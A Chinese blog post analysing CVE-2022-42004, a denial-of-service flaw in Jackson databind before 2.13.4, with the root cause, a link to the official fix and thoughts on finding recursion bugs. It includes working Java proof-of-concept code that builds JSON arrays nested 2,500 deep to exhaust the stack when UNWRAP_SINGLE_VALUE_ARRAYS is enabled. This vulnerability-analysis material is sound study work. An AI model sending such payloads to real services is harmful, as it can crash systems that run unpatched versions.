Jackson CVE-2022-42004 拒绝服务
迪丽瓦拉
2024-06-02 04:28:35
0

0x00 前言

可以先看:

  • Jackson 反序列化漏洞原理

或者直接看总结也可以:

  • Jackson总结

小于:2.13.4

0x01 环境搭建:

环境搭建,参考了Jackson的Test:
首先是Point

package com;public class Point {public int x, y;protected Point() { } // for deserpublic Point(int x0, int y0) {x = x0;y = y0;}@Overridepublic boolean equals(Object o) {if (!(o instanceof Point)) {return false;}Point other = (Point) o;return (other.x == x) && (other.y == y);}@Overridepublic String toString() {return String.format("[x=%d, y=%d]", x, y);}
}

然后是一个生成payload的方法:

    private static String _nestedDoc(int nesting, String open, String close, String content) {StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));for (int i = 0; i < nesting; ++i) {sb.append(open);if ((i & 31) == 0) {sb.append("\n");}}sb.append("\n").append(content).append("\n");for (int i = 0; i < nesting; ++i) {sb.append(close);if ((i & 31) == 0) {sb.append("\n");}}return sb.toString();}

最后是测试Demo,结合之前找到的内容,拼凑组合出来

        ObjectMapper objectMapper = new ObjectMapper();objectMapper.enable(DeserializationFeature.UNWRAP_SINGLE_VALUE_ARRAYS);final String doc = _nestedDoc(2500, "[ ", "] ", "{}");Point myObj = objectMapper.readValue(doc, Point.class);System.out.println(doc);

0x02 测试

将递归次数调整到2500次,就会发现已经递归报错了:

在这里插入图片描述

0x03 漏洞分析

主要是在BeanDeserializer._deserializeFromArray,在这里如果检测到是"[",并且开启了DeserializationFeature.UNWRAP_SINGLE_VALUE_ARRAYS,主要是用来解析Array的

在这里插入图片描述
在这里递归次数过多,则会导致出现拒绝服务

在这里插入图片描述

0x04 修复

可以直接看官方的修复过程:https://github.com/FasterXML/jackson-databind/commit/063183589218fec19a9293ed2f17ec53ea80ba88

在这里插入图片描述
以上,没有弄出来的时候感觉不知所以,弄出来反而觉得无趣,看看就好。

0x05 问题思考

这种拒绝服务,到底是怎么找到的,是用了什么特殊的方式,简单的看一下有没有什么规律可循。

首先是一个H方法调用了A方法,并且A方法是当前的方法。

在A方法中,依旧存在调用C方法,并且C方式是当前类的方法。

在C方法中,如果调用了H方法,那么就会形成一个循环,从而造成递归。

当然在这个循环中可能会涉及到多个方法的调用,但是只要始终静盯着当前类就可以发现这种类型的递归。

通过星火实现一下。找到递归的内容
在这里插入图片描述

相关内容